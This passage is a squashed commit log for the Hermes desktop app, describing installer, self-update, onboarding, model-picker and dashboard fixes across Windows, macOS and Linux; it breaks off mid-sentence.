make it clear signing is OPTIONAL and unsigned apps work fine — users
just see SmartScreen on first launch. The electron-builder mechanism
for 'don't actually sign anything' is to supply a custom sign function
(via signtoolOptions.sign: '<path-to-cjs-module>') that resolves
without invoking signtool.
build-noop-sign.cjs is that module — a 5-line async function that
returns undefined. electron-builder calls it for every binary it would
have signed, gets back a resolved promise, and considers each binary
'signed.' No signtool spawn, no winCodeSign fetch, no symlink crash.
When Nous's cert arrives, replace this file with a real signing hook
(@electron/windows-sign-based or a direct signtool invocation). The
architecture's signing-ready and the cutover is a one-file edit.
* fix(desktop): signAndEditExecutable=false to skip signtool path entirely
After reading app-builder-lib/winPackager.js line 216 + 231 directly:
signAndEditExecutable is the ACTUAL hardcoded gate that short-circuits
both signApp() (which signs Hermes.exe + every shouldSignFile match
including bundled prebuilds) AND createTransformerForExtraFiles().
None of signtoolOptions.sign / sign:null / sign:<custom-fn> gate the
winCodeSign download — that happens before they're consulted.
What we lose: rcedit also runs through signAndEditResources, so
disabling this drops PE metadata (file properties showing 'Hermes' /
'Nous Research' / file description). Cost is real but bounded:
* Hermes.exe filename, icon, asar contents, app identity intact
* Task Manager shows 'Hermes.exe' (the filename) not 'Hermes' (PE
description) — minor downgrade
* Start menu, taskbar, window title all work normally
* SmartScreen will warn once (unsigned, same as before)
When the cert lands, flip signAndEditExecutable back to default true,
both signing AND rcedit return, PE metadata is restored.
Removes the no-op sign function (build-noop-sign.cjs) since
signAndEditExecutable=false prevents signtool from being invoked at
all — the custom hook never gets called either.
* feat(install.ps1): write .hermes-bootstrap-complete marker at end of install
The desktop app's main.cjs resolver ladder has a 'bootstrap-needed' rung
that fires when .hermes-bootstrap-complete is missing from
ACTIVE_HERMES_ROOT. Pre-Hermes-Setup, this marker was written by the
packaged-desktop's own bootstrap-runner.cjs at the end of its install
flow. Now that Hermes-Setup.exe runs install.ps1 directly, install.ps1
needs to own the marker — otherwise the desktop sees no marker on first
launch and triggers its legacy first-launch bootstrap (re-running
install.ps1 from inside Electron, the exact recursion Hermes-Setup.exe
was supposed to obviate).
Implementation:
* New Stage-BootstrapMarker (worker) → Write-BootstrapMarker (helper)
* Slotted in the manifest right after platform-sdks, before the
interactive configure/gateway stages, so it runs unconditionally
when the install reaches the finalize phase
* Schema mirrors apps/desktop/electron/main.cjs writeBootstrapMarker /
isBootstrapComplete EXACTLY: {schemaVersion: 1, pinnedCommit,
pinnedBranch, completedAt}. Schema version stays at 1 so old
desktops that read marker files written by future install.ps1s
can still parse them.
* pinnedCommit comes from -Commit flag (Hermes-Setup.exe passes it)
or falls back to 'git rev-parse HEAD' in InstallDir
* pinnedBranch from -Branch flag, defaults to 'main' matching
install.ps1's own param default
Two PS-5.1 gotchas baked into comments:
* The ?. null-conditional operator doesn't exist pre-PS7; use
explicit if-checks on Get-Command results
* Set-Content -Encoding UTF8 emits a BOM in 5.1 and Node's plain
JSON.parse rejects BOM — write via .NET's UTF8Encoding(false)
to produce BOM-less JSON the desktop's readJson() can parse
* feat(installer): drive in-app updates through the Tauri installer
Converge update on the same principle as bootstrap: one driver owns all
repo mutation. The desktop becomes a pure consumer that hands off to
Hermes-Setup.exe --update instead of re-implementing git/pip in Electron.
- hermes desktop --build-only: build without launching, so the installer
owns the post-update launch (CLI keeps build logic single-sourced).
- Installer AppMode {Install,Update} from argv; get_mode exposed to the UI.
- Installer self-copies to HERMES_HOME/hermes-setup.exe on install success
(no-op guard during --update re-invocation to avoid the locked-exe copy).
- Installer --update flow (update.rs): wait for the desktop to release the
venv shim, run 'hermes update --yes --gateway' (branch on exit 0/2/other),
then 'hermes desktop --build-only', then launch the rebuilt desktop. Reuses
the bootstrap event channel + progress UI via a synthetic two-stage manifest.
- Desktop applyUpdates() gutted (~105 lines of git/stash/pull/pyproject/pip
removed) -> thin handoff: spawn updater, app.quit() to free the shim.
Detection (checkUpdates, commit changelog, behind-count) kept intact.
- install.ps1 creates Start Menu + Desktop shortcuts to the packed Hermes.exe
(never bare 'hermes desktop', which would rebuild every launch).
* test update
* fix(installer): pass --branch to hermes update in the --update flow
The install is a detached-HEAD checkout of a pinned commit. Without
--branch, 'hermes update' fell back to its default (main) and switched
the checkout to main — a divergent branch that lacks the desktop CLI
command — so the update targeted the wrong branch and the rebuild stage
failed with 'invalid choice: desktop'.
Thread BUILD_PIN_BRANCH (the branch this installer was built against,
and the same branch the desktop detected the update on) into
'hermes update --branch <b>' so update + rebuild stay on-branch.
* test update
* fix(installer): stamp Hermes icon onto Hermes.exe via rcedit (no winCodeSign)
The unpacked Hermes.exe showed the stock Electron icon + name in the
taskbar because build.win.signAndEditExecutable=false disables BOTH
electron-builder's signing AND its rcedit metadata/icon stamping. That
flag is load-bearing: enabling it re-triggers signtool -> winCodeSign,
whose macOS symlinks crash 7-Zip on non-admin Windows (unfixable dead end).
Decouple identity-stamping from signing entirely: after npm run pack,
run rcedit ourselves on the produced exe.
- Add rcedit as a direct devDependency of apps/desktop (the transitive
electron-winstaller copy is fragile).
- apps/desktop/scripts/set-exe-identity.cjs: Node helper that calls
rcedit's named export to set icon + ProductName/FileDescription/
CompanyName. Node builds argv natively — avoids the PowerShell->exe
->JSON double-escaping that broke the app-builder rcedit path.
- install.ps1 Set-DesktopExeIdentity invokes the script after the build,
before shortcuts. Best-effort: failure keeps the stock icon, never
fails the install. rcedit is a pure PE editor — no signtool, no
winCodeSign, no symlinks.
Verified locally: stamping a copy of the built Hermes.exe embeds the
32x32 icon and sets ProductName=Hermes.
Also fix update-path success-screen flash: in update mode the installer
hands off + exits in ~600ms, so don't route to the 'launch Hermes'
success view (it flashed before the window closed).
* update test
* fix(desktop): show 'hermes update' guidance for CLI installs instead of dead-end error
A user who installed via the CLI (irm|iex / install.sh) then ran
`hermes desktop` has no staged hermes-setup.exe, so clicking Update
in-app hit resolveUpdaterBinary()=null and showed a misleading error
('re-run the Hermes installer') with a Try-again button that could
never succeed — a dead loop for a perfectly valid install.
Treat the no-updater case as an intentional outcome, not a failure:
- main.cjs applyUpdates returns { ok:true, manual:true, command:'hermes update' }
(no throw, no 'error' stage) when no updater binary exists.
- New 'manual' update stage + apply-state.command thread the command to the UI.
- updates-overlay ManualView: a polished terminal-native card with the
exact command and a copy button, framed as the correct path for a CLI
user rather than an error.
GUI-installer users are unaffected — hermes-setup.exe present => seamless
auto-update runs as before. Zero new process orchestration; can't fail
the update demo.
* update test
* fix(gui): pin /api/hermes/update to the current branch
The desktop command-center 'update' action hits POST /api/hermes/update,
which spawned bare `hermes update` with no --branch. cmd_update then
falls back to its default (main) and checks the working tree OUT of the
tracked branch — a bb/gui install silently jumped to main and lost the
desktop CLI.
Resolve the checkout's current branch and pass --branch <current> from
this endpoint only. The engine default (main) is DELIBERATELY unchanged:
bare `hermes update` from a terminal, the gateway /update bot command,
and the CLI/TUI relaunch path all keep their long-standing 'update against
main' contract for the existing user base. Only the GUI button is scoped
to update-the-branch-you're-on. Detached HEAD / git failure falls back to
the bare default.
* update test
* fix(desktop): branch-pin the CLI manual-update command card
The 'Update from your terminal' card (shown to CLI installs with no staged
updater) hardcoded bare `hermes update` — which defaults to main and would
switch a bb/gui (or any non-main) checkout off-branch. Same bug we fixed for
the GUI button, leaked into the card's copy text.
Resolve the checkout's current branch and show `hermes update --branch
<current>` for non-main checkouts; keep it bare for main so the card stays
clean. Best-effort: bare fallback if branch detection fails. Matches the
GUI button + installer --update contract; bare terminal/bot/TUI update
paths still default to main, unchanged.
* docs: phragg was here
* feat(desktop): lead onboarding with Nous Portal + fix fresh-install detection (#34970)
- Feature Nous Portal as the primary onboarding card (Recommended tag,
app logo, single pitch line); collapse other OAuth providers behind an
"Other providers" disclosure whose open/closed state persists.
- Surface OpenRouter as a one-click API-key option inside the disclosure;
move "I have an API key" to a quiet bottom-right link.
- Treat "no provider configured" as a normal onboarding state, not a red
error banner (provider-setup-errors copy match).
- Fix setup.runtime_check: it reported ready when the resolved runtime had
an empty credential or only implicit Bedrock/IAM, so fresh installs never
saw onboarding. Now requires a usable credential.
- Auto-wire Windows fonts for WSL2 users so the renderer renders real
Segoe UI instead of the DejaVu fallback; make WSL detection env-independent
via the /proc kernel marker.
* feat(desktop): live elapsed timer on install bootstrap steps
The first-launch install overlay showed a static "Installing" with no
motion, so long steps (notably the repo clone) looked frozen. Stamp each
stage's start time on the running transition and tick once a second so the
active step shows live elapsed (e.g. "Installing · 1:23"), plus elapsed on
the overall current-step line. Completed steps keep their final duration.
* fix(desktop): resolve PortableGit for update checks + reserve titlebar tools space
- runGit() hardcoded spawn('git'), which ENOENTs on fresh installer-driven
Windows installs (git is PortableGit under %LOCALAPPDATA%\hermes\git, never
on PATH) — so "Check for updates" failed with "Couldn't check for updates".
Add resolveGitBinary() mirroring findGitBash (PortableGit → Git-for-Windows
→ PATH) and use it in runGit.
- PageSearchShell rendered a full-width search input in the titlebar row, so
on Windows its right edge slid under the fixed top-right tools + native
window controls. Reserve that footprint via --titlebar-tools-* vars.
* fix(desktop): stop streaming caret from shifting layout on completion
The streaming caret (::after on the running message's last child) was an
in-flow inline-block adding ~0.78em of inline width, which could wrap the
last line mid-stream; when the caret is removed on completion the line
un-wraps and reflows — the visible post-response layout shift. Net-zero its
inline advance with a compensating negative margin so it paints at the text
end without consuming layout width.
* fix(desktop): stop completed-message layout shift while streaming
The assistant message action bar used `hideWhenRunning`, which unmounts it
whenever the thread is streaming. Since the bar reserves vertical space in
each completed assistant message's footer (it's invisible-until-hover via
opacity, not via mount), unmounting it collapsed every prior turn by the
bar's height — then remounting on resolve grew them back, shifting the whole
conversation (visible as "padding appears above the last user message").
Drop hideWhenRunning so the footer height is constant; the bar stays
invisible during streaming via its existing opacity/pointer-events gating.
* fix(merge): keep windows-footgun suppressions inline
* fix(merge): keep remaining gateway footgun suppressions inline
* fix(merge): restore contracts caught by main-target CI
* fix(dashboard): honor injected HERMES_DASHBOARD_SESSION_TOKEN
The desktop shell mints a session token and signs its /api + /api/ws
calls with it via HERMES_DASHBOARD_SESSION_TOKEN, but the main-merge
restored a web_server.py that ignored the env var and minted its own
random _SESSION_TOKEN -- so every desktop request 401'd and the UI
reported "gateway offline". Read the injected token (fall back to a
fresh random one) so loopback HTTP + WS auth line up.
Adds a regression test so a future merge can't silently drop the read.
* fix(desktop): align fresh-install home so upgraders don't brick
Two related first-launch bugs on machines with a legacy ~/.hermes:
- install.ps1 hardcoded $HermesHome/$InstallDir to %LOCALAPPDATA%\hermes
and ignored the HERMES_HOME the desktop passes through. The desktop
freezes HERMES_HOME at module load and prefers a legacy ~/.hermes when
%LOCALAPPDATA%\hermes is absent, so the installer wrote to a different
home than the shell read -> "Could not connect to Hermes gateway". Honor
$env:HERMES_HOME in the param defaults.
- isBootstrapComplete() trusted the marker + checkout without verifying a
runnable venv, so an interrupted/split install spawned a dead backend
instead of re-bootstrapping. Also require the venv python to exist.
* fix(dashboard): allow packaged desktop file:// origin on loopback WS
The packaged Electron desktop loads its renderer over file://, so its
/api/ws handshake carries Origin: file:// (or null). The DNS-rebinding
WebSocket Origin guard only accepted http(s) origins matching the bound
host, so it rejected the desktop's own renderer with 4403 -> "Could not
connect to Hermes gateway" on macOS.
A browser DNS-rebinding attacker can only ever present an http(s) origin
(the site hosting the malicious page); it cannot forge file://, null, or
a custom app scheme AND hold the loopback session token. So on loopback
binds we now trust non-web origins -- the token in _ws_auth_ok remains
the real authenticator. Public/gated binds still reject them, and
cross-site http(s) origins are still rejected everywhere.
* fix(desktop): resolve renderer assets relative to BASE_URL
Absolute public asset paths (/apple-touch-icon.png, /ds-assets/...) work
under the dev server but break in the packaged app, where the renderer is
loaded from file://.../index.html and a leading slash resolves to the
filesystem root -> broken onboarding provider icon and backdrop image on
macOS. Prefix these with import.meta.env.BASE_URL so they resolve next to
the bundled index.html in both dev and packaged builds.
* feat(desktop): automate first-launch bootstrap on macOS/Linux
Previously a packaged macOS/Linux app with no Hermes install hit a
dead-end ("first-launch install is not yet automated -- run install.sh
manually") because install.sh lacked the staged protocol install.ps1
exposes. Now both platforms bootstrap on first launch with the same
structured, per-step progress UI as Windows.
- install.sh: add --manifest / --stage / --json / --non-interactive plus
a stage dispatcher (prerequisites, repository, venv, python-deps,
node-deps, path, config, setup, gateway, complete). User-input stages
(setup, gateway) are skipped under --non-interactive; the in-app
onboarding overlay owns API keys/model, matching the Windows flow.
Each stage runs inside the install dir (its own process) and a new
--commit flag pins the checkout to the build-stamp SHA.
- bootstrap-runner.cjs: drive the staged manifest/stage/JSON protocol for
both install.ps1 (PowerShell) and install.sh (bash), selected by
installer kind; removed the single-blob POSIX shim.
- main.cjs: drop the macOS/Linux unsupported-platform dead-end so the
bootstrap-needed path runs the installer on every platform.
* fix(dashboard): return 404 JSON for unmatched /api paths instead of SPA HTML
The SPA catch-all (serve_spa) served index.html for any unmatched GET,
including unregistered /api/* endpoints. A missing API route therefore
came back as <!doctype html> with status 200, and JSON clients (the
desktop app's fetchJson) crashed with an opaque
'SyntaxError: Unexpected token <' instead of a clear error.
- web_server.py: unmatched /api or /api/... now returns 404 JSON
('No such API endpoint'); non-api paths still serve the SPA for
client-side routing.
- main.cjs fetchJson: detect an HTML body / text/html content-type on a
2xx response and reject with a clear message naming the URL, rather
than a raw JSON.parse SyntaxError. Empty bodies resolve to null;
malformed JSON reports the URL plus a snippet.
* say 'OS appearance' instead of 'macOS appearance'
* feat(install): add --include-desktop stage + PowerShell-style flags to install.sh
Brings install.sh to parity with install.ps1's bootstrap surface so the
shared Rust/Tauri bootstrapper (apps/bootstrap-installer) can drive a
macOS/Linux install the same way it drives Windows.
- Accept the PowerShell-style aliases the bootstrapper emits to both
installers: -Commit / -Branch (alongside existing -Manifest / -Stage /
-Json / -NonInteractive).
- Add --include-desktop / -IncludeDesktop. When set, the manifest gains a
'desktop' stage (immediately before 'complete'), and a new install_desktop
runs a root workspace `npm install` + `npm run pack` (electron-builder
--dir, signing auto-discovery disabled) to produce release/mac*/Hermes.app
-- mirroring install.ps1's Install-Desktop / Stage-Desktop.
- The flag is opt-in, exactly like Windows: the signed bootstrap installer
passes it; the Electron app's own first-launch bootstrap and the CLI
one-liner omit it (building the desktop from inside the running app would
clobber it).
* fix: tts endpoints
* macOS desktop: install + in-app self-update (#35607)
* fix(installer): align macOS HERMES_HOME with the rest of the stack
paths.rs computed the macOS Hermes home as ~/Library/Application Support/
hermes, but nothing else does: hermes_constants.get_hermes_home() (Python),
scripts/install.sh, and the Electron desktop's resolveHermesHome() all use
~/.hermes on macOS. The drift meant the Tauri installer wrote the install to
one directory and the desktop looked for it in another, so a fresh GUI
install never found its backend (the file's own comment warned this exact
drift would break things). Use ~/.hermes on macOS to match.
* fix(install.sh): always emit a stage result frame on failure
Stage helpers (clone_repo, install_deps, check_python, …) were written for
the monolithic flow and call `exit 1` on failure. Under `--stage`, that
terminated the process before the JSON result frame was printed, so the
installer's parse_stage_result saw "no frame" instead of a clean
{ok:false,...} contract response. Run the stage body in a subshell so an
`exit` only unwinds the subshell and the parent still emits the frame.
* feat(install.sh): auto-provision git on macOS/Linux (parity with install.ps1)
install.ps1 downloads PortableGit on Windows, but install.sh just printed a
"please install git" hint and exited — so a fresh Mac with no developer tools
(no Xcode CLT → no git) couldn't get past the clone step. check_git now tries
to install git before bailing:
- macOS: Homebrew if present (headless), else `xcode-select --install`
(the CLT prompt also provides the compiler some wheels need), polling for
git to appear.
- Linux: apt/dnf/pacman via sudo when available.
Falls back to the manual instructions only if auto-provision fails.
* feat(desktop): in-app GUI+backend self-update on macOS/Linux
On Windows the staged Hermes-Setup binary drives updates (quit → hermes
update → hermes desktop --build-only → relaunch). The mac drag-install has no
such binary, so "Update now" previously just printed `hermes update`.
Since there's no venv-shim file lock on POSIX, the desktop can drive the whole
update itself. applyUpdates now, when no staged updater exists on mac/linux:
1. runs `hermes update --yes [--branch <current>]` (backend git pull + deps),
2. runs `hermes desktop --build-only` (OS-aware GUI rebuild) with the
Hermes-managed Node + venv on PATH,
3. spawns a detached swapper that waits for this process to exit, dittos the
freshly built Hermes.app over the running bundle, clears quarantine, and
relaunches.
Degrades to "backend updated — restart to load the new GUI" if the rebuild
fails or there's no .app bundle to swap (dev run, Linux AppImage).

* fix(install): detect xcode-select git stub on fresh macOS

* fix(desktop): repair voice dictation on Windows
Voice dictation was broken on Windows in two ways:
1. Mic access was denied. The Electron permission request handler only
granted 'media' requests whose details.mediaTypes included 'audio',
but Chromium on Windows frequently fires the mic request with an empty
mediaTypes array, so getUserMedia threw NotAllowedError. The handler
now grants audio-capture when mediaTypes includes 'audio' OR is
empty/absent, handles the 'audioCapture' permission name, and adds a
setPermissionCheckHandler (the synchronous path Chromium also consults
for getUserMedia on Windows). Video is still denied.
2. Transcripts went nowhere. The composer's insertText handler (used by
dictation and other inserts) only updated the assistant-ui composer
store via setText, never the contentEditable editor DOM. The
draft->editor sync effect only re-renders the editor when it is NOT
focused, and dictation runs while the editor has/regains focus, so the
transcript was stored but never shown and could not be sent. insertText
now renders into the editor DOM and places the caret, mirroring
appendExternalText.
Also hardens fetchJson: a 2xx response with an HTML body (or text/html
content-type) now rejects with a clear message naming the URL instead of
an opaque JSON.parse 'Unexpected token <' error.
* feat(desktop): route Nous subscribers onto the Tool Gateway from the GUI
When the GUI sets the main provider to Nous via POST /api/model/set, call
the same apply_nous_managed_defaults the CLI uses after model selection, so
GUI/onboarding users land on the Nous Tool Gateway the same way CLI users do
— no separate prompt, no duplicated logic.
Purely additive: apply_nous_managed_defaults skips any tool where the user
has a direct key (FIRECRAWL_API_KEY, FAL_KEY, etc.) or explicit config, so it
never overwrites a user's own setup. Only unconfigured tools get routed.
- web_server.py: in set_model_assignment (scope=main, provider=nous), resolve
enabled toolsets and apply managed defaults; guarded so a Portal hiccup never
blocks saving the model. Returns routed tools as gateway_tools.
- onboarding.ts: surface a 'Tool Gateway enabled' toast listing routed tools.
- types/hermes.ts: add gateway_tools to ModelAssignmentResponse.
- tests: cover nous-applies, non-nous-skips, and failure-doesnt-block-save.
* feat(desktop): mirror hermes model free/paid curation in GUI onboarding
GUI onboarding picked models[0] from /api/model/options, which ignores the
Nous free/paid tier — a free user could land on a paid default (e.g.
anthropic/claude-opus-4). Now the recommended default mirrors what `hermes
model` does.
- web_server.py: new GET /api/model/recommended-default?provider=<slug>. For
Nous it runs the same curation as the CLI (get_curated_nous_model_ids +
pricing + check_nous_free_tier + union_with_portal_{free,paid}_recommendations
+ partition_nous_models_by_tier) so free users get a free model and paid users
get the curated default. Other providers fall back to the first curated model.
Never 500s — returns empty model on error so onboarding degrades gracefully.
- hermes.ts: getRecommendedDefaultModel client + RecommendedDefaultModel type.
- onboarding.ts: fetchProviderDefaultModel prefers the recommended endpoint,
falls back to models[0] when unavailable.
- tests: free-tier picks free model, paid-tier picks curated default, failure
returns empty without 500.
* feat(desktop): show model pricing + free/paid tier gating in GUI picker
The CLI `hermes model` picker shows per-model $/Mtok pricing and gates paid
models on free Nous accounts. The GUI picker showed bare model names. Bring it
to parity across both the model-picker dialog and onboarding confirm card.
Backend:
- inventory.build_models_payload gains a pricing=True flag → _apply_pricing
enriches each provider row with formatted per-model pricing
({input,output,cache,free}) via the same _format_price_per_mtok the CLI uses,
and for Nous adds free_tier + unavailable_models (paid models a free user
can't select) via check_nous_free_tier + partition_nous_models_by_tier.
Best-effort: any pricing/tier failure is swallowed and fails open (no gating).
- /api/model/options and TUI model.options now pass pricing=True so the
global picker and in-session picker both carry pricing.
Frontend:
- ModelOptionProvider gains pricing/free_tier/unavailable_models; new
ModelPricing type.
- model-picker dialog renders In/Out $/Mtok (or a Free pill) per model, a
Free tier/Pro badge on the Nous heading, and disables + grays unavailable
paid models for free users with a 'Pro models need a paid subscription' note.
- onboarding confirm card shows the chosen model's price + tier badge.
Tests: test_inventory_pricing covers price formatting, free-tier gating,
paid no-gating, providers without pricing, and swallowed failures.
* fix(desktop): GUI model picker shows curated Nous list in curated order
Two bugs made the GUI Nous model list diverge from the `hermes model` CLI picker:
1. Backend (model_switch.py): the Nous row in list_authenticated_providers
fell through to cached_provider_model_ids("nous"), dumping the full live
/v1/models catalog (~50 vendor-prefixed models, alphabetical). Now it uses
the curated list AND applies the Portal free/paid recommendation union —
exactly like _model_flow_nous in main.py — so newly-launched models such as
stepfun/step-3.7-flash:free surface in curated order. Best-effort: falls
back to the curated list alone if the Portal fetch fails.
2. Frontend (model-picker.tsx): cmdk's Command had shouldFilter on (default),
which re-sorts items by fuzzy-match score (≈alphabetical) and ignores array
order. Set shouldFilter={false} + own the search term and do an
order-preserving substring filter, so the backend's curated order is shown
verbatim.
* feat(desktop): add/switch providers from the model picker via onboarding reuse
The model picker could only select models from already-authenticated
providers. Switching to a new provider had no in-app path. Rather than
duplicate provider UI, reuse the existing onboarding provider selector
(featured Nous + other providers + API-key form + device-code/PKCE flow +
model-confirm with pricing/tier).
- onboarding store: add a 'manual' flag with startManualOnboarding() /
closeManualOnboarding(). Manual mode forces the onboarding overlay to show
even when configured===true and refreshOnboarding no longer auto-dismisses
on runtime-ready (the app is already working — the user is just adding or
switching a provider).
- onboarding overlay: render when manual even if configured; show a Close
button (the first-run flow has none since the app can't run yet).
- model picker: 'Add provider' footer button opens the onboarding selector;
ModelResults lists only configured (model-bearing) providers.
* feat(desktop): add PUT /api/tools/toolsets/{name} enable/disable endpoint
* feat(desktop): add toggleToolset RPC binding
* feat(desktop): toolset enable/disable switch in Tools settings
* feat(desktop): tool configuration parity in GUI Tools settings
Bring the desktop GUI Tools settings to parity with the CLI `hermes tools`
for provider selection and API-key configuration.
Backend (hermes_cli/web_server.py):
- GET /api/tools/toolsets/{name}/config - provider matrix + key status
- PUT /api/tools/toolsets/{name}/provider - persist provider selection
Shared core (hermes_cli/tools_config.py):
- Extract apply_provider_selection / _write_provider_config from the
interactive _configure_provider so the CLI and GUI write identical
config keys (web.backend, tts.provider, browser.cloud_provider, plugin
image/video providers, use_gateway flags) through one code path.
Desktop UI:
- ToolsetConfigPanel: provider list with select, per-provider API-key
entry (set/replace/clear/reveal via the shared env RPCs), Ready/Needs
keys state, guidance for Nous-auth and post-setup providers.
- Wire the Configured/Needs keys pill to expand the panel inline; refresh
the toolset list after key changes so the pill updates live.
- Add getToolsetConfig / selectToolsetProvider RPC bindings + types.
Post-setup (OAuth/install) flows still defer to the CLI; see
docs spike findings for the planned /api/tools/setup/* endpoint family.
Tests: backend round-trip + 400 cases for the new endpoints and
apply_provider_selection; desktop vitest coverage for the config panel
(provider render, select, key save). No change-detector tests.
Also removes three stale completed plan docs.
* fix(desktop): show real Hermes version + sync package.json on release
The desktop app version was disconnected from the Hermes version: the
release script bumped pyproject.toml + hermes_cli/__init__.py but never
touched apps/desktop/package.json, which sat stale at 0.0.2 (lockfile at
0.0.1).
- main.cjs: hermes:version IPC now resolves __version__ from
hermes_cli/__init__.py (the canonical source release.py bumps) via a new
resolveHermesVersion() helper, falling back to app.getVersion() when the
source tree isn't readable. The About panel now always shows the live
Hermes version and can't drift.
- release.py: update_version_files() also bumps apps/desktop/package.json
in lockstep with pyproject (top-level version only; dep specs untouched).
- One-time catch-up: package.json 0.0.2 -> 0.15.1 and the lockfile root
mirrors 0.0.1 -> 0.15.1.
* fix(desktop): stamp exe identity in afterPack hook so updates stay branded
The packed Hermes.exe reverted to the stock Electron icon + "Electron" name
after an in-app update. The icon/identity stamp (rcedit) lived only in
install.ps1, but the installer's --update path rebuilds the desktop via
`hermes desktop --build-only` -> `npm run pack`, which never ran install.ps1
and so never stamped the rebuilt exe.
Move the stamp into an electron-builder afterPack hook so it runs for EVERY
packed build regardless of caller (first install, hermes desktop, the update
rebuild, or a manual npm run pack):
- set-exe-identity.cjs: refactor to export stampExeIdentity(exe, desktopRoot);
still runnable as a standalone CLI.
- after-pack.cjs (new): afterPack hook calling stampExeIdentity. Windows-only
guard; best-effort (logs + resolves on failure, never fails the build).
- package.json: register build.afterPack.
- install.ps1: remove the now-redundant Set-DesktopExeIdentity function + call;
the hook handles it during npm run pack.
electron-builder's own rcedit step stays disabled (signAndEditExecutable=false)
to avoid the signtool -> winCodeSign -> 7-Zip macOS-symlink crash on non-admin
Windows; the hook runs rcedit directly (pure PE resource edit, no signing).
* fix(desktop): export afterPack hook as exports.default so electron-builder runs it
The afterPack hook used `module.exports = fn`, which electron-builder's hook
loader doesn't pick up — it expects the function as the module's default
export (the same shape afterSign/notarize.cjs uses). The hook silently never
ran, so even first install shipped the stock "Electron" exe.
Switch to `exports.default = async function afterPack(...)`. Verified with a
real `npm run pack`: electron-builder now invokes the hook and the produced
release/win-unpacked/Hermes.exe carries ProductName/FileDescription=Hermes.
* chore(desktop): drop auto-build release CI in favor of manual build + upload
Remove desktop-release.yml (nightly-on-main + stable publish). Installers
are now built locally per platform and uploaded to a GitHub Release by hand;
the website points at them via NEXT_PUBLIC_HERMES_DL_* env. Update README +
docs and drop the dead desktop-nightly channel links.
* fix(desktop): stable shortcut icon + bust icon cache so updates repaint
Symptom on a freshly-installed laptop: Hermes.exe itself shows the correct
Hermes icon (Explorer reads the live exe's stamped PE resource), but the
desktop shortcut still draws the stock Electron icon.
Cause: New-DesktopShortcuts set IconLocation to "<exe>,0", so Windows cached
the icon it extracted from the exe at shortcut-creation time. On an update the
exe gets re-stamped, but the shortcut keeps rendering the stale cached bitmap.
- package.json: ship assets/icon.ico beside the exe via extraResources
(-> resources/icon.ico). Verified with a real npm run pack.
- install.ps1 New-DesktopShortcuts: point IconLocation at resources/icon.ico
(fallback to <exe>,0 if absent) — a dedicated .ico is cache-stable and skips
the per-exe extraction that goes stale. Then run `ie4uinit.exe -show` to bust
the shell icon cache so the shortcut repaints immediately instead of showing
the old Electron icon until reboot.
Both best-effort; never fail an otherwise-good install.
* dummy update
* feat(desktop): self-heal update branch + backend contract guard
Two fixes for the bb/gui→main transition:
- Self-update self-heals: if the tracked branch (e.g. bb/gui) no longer
exists on origin (merged + deleted), the desktop updater falls back to
main and persists it. Read-only ls-remote probe that only flips on a
definitive "ref absent" (exit 2), never on a transient network error, so
already-installed clients migrate themselves with no manual flip.
- Backend contract guard: tui_gateway reports DESKTOP_BACKEND_CONTRACT in
session runtime info; the desktop warns with a one-click "Update Hermes"
when the backend predates the GUI's required contract (e.g. a bb/gui app
pointed at a main checkout) instead of failing cryptically downstream.
* docs(desktop): rewrite README to match current install/update/build flow
The old README contradicted itself (claimed a bundled Python payload while
also saying it no longer bundles source) and predated cross-platform support.
Rewrite for accuracy: Linux is a first-class build target, install.sh/install.ps1
both drive the staged bootstrap, the real self-update handoff (Windows
Hermes-Setup vs in-app macOS/Linux), and the bb/gui→main self-heal + backend
contract guard.
* docs(desktop): rewrite README as a real product readme
Lead with what the app is and how to get it (download an installer, or
`hermes desktop` for existing CLI users) plus a plain-language feature list,
then keep contributor/build/internals as a clearly separated secondary section.
* docs(desktop): fix install framing — releases no longer auto-build installers
Lead with the install-with-Hermes path (`--include-desktop` / `hermes desktop`),
which always works, and describe prebuilt installers as manually published when
a release ships them rather than implying CI attaches them to every release.
* docs(desktop): match base repo README style
Adopt the root README's conventions: centered title + badge row, bold
one-liner intro, a feature <table> grid, --- section dividers, and a
Community / License footer.
* feat(desktop): recover from gateway boot failures + validate API keys on entry (#35864)
Fresh installs that hit a gateway boot failure had no recovery path: the
shell rendered dead ("gateway offline"), logs were undiscoverable, and a
mistyped API key was accepted because onboarding only checked credential
presence, not validity.
- Add BootFailureOverlay: a top-level recovery surface (Retry, Repair
install, Use local gateway, Open logs + inline recent logs) that mounts
on any hard boot failure, including post-install. Trims the now-redundant
recovery button from the onboarding Preparing panel.
- Add hermes:logs:reveal / :recent IPC (reveal desktop.log) and a
hermes:bootstrap:repair IPC that drops the bootstrap marker to force a
clean reinstall. Surface "Open logs" in Gateway settings too.
- Add POST /api/providers/validate: a live per-provider probe
(OpenRouter/OpenAI/xAI/Gemini key check, local endpoint connectivity)
wired into saveOnboardingApiKey so a rejected key blocks before it's
persisted, while an unreachable probe falls through (offline-safe).
* test(model-catalog): fix stale nous picker test after curated-list change
ac2e48907 made the GUI/picker Nous row use the curated list (curated["nous"]
= get_curated_nous_model_ids()) + Portal union, matching the `hermes model`
CLI — but test_picker_nous_row_uses_manifest still asserted the old 2-model
manifest snapshot, breaking the test shard.
Rewrite it as an invariant: stub the Portal union to passthrough and assert the
row equals get_curated_nous_model_ids() computed under the same conditions, so
it tracks the real contract instead of a hardcoded model list that rots on every
catalog update.

The 7 consolidated provider families (OpenAI, xAI Grok, GitHub Copilot,
Google Gemini, Kimi / Moonshot, MiniMax, OpenCode) collapse to one
top-level picker row. Previously that row showed only the bare group
label (e.g. `OpenAI ▸`); now it carries a short blurb describing the
endpoints folded inside (e.g. `OpenAI ▸ (Codex CLI or direct OpenAI API)`).
- models.py: extend PROVIDER_GROUPS tuples to (label, description, members);
group_providers() emits the description on group rows.
- main.py: CLI picker renders `<label> ▸ (<description>)` for group rows.
- telegram.py: update the group tuple unpack (button text keeps the member
count, which fits inline keyboards better than a long blurb).
- tests: assert every group has a non-empty description and the fold emits it.
Member-specific detail still lives in each member's tui_desc and shows in
the drill-down sub-picker. Slug identity, --provider, /model paths unchanged.
Self-review follow-up on top of the salvaged perf fixes:
- gateway/run.py (both watcher-drain sites): the salvaged O(n^2) fix
(#32708) replaced `while pending_watchers: pop(0)` with iterate-then-
`watchers.clear()`, but `watchers` aliased the registry's live list.
A watcher appended by a concurrent session during the `await
asyncio.sleep(0)` yield would be cleared without ever being scheduled.
Detach the batch atomically (`pending_watchers = []`) before iterating.
- gateway/platforms/bluebubbles.py: normalize the salvaged _guid_cache
LRU (#30523) to match feishu/codebase precedent — module-level
`_GUID_CACHE_SIZE` constant, `while len > cap`, and drop the redundant
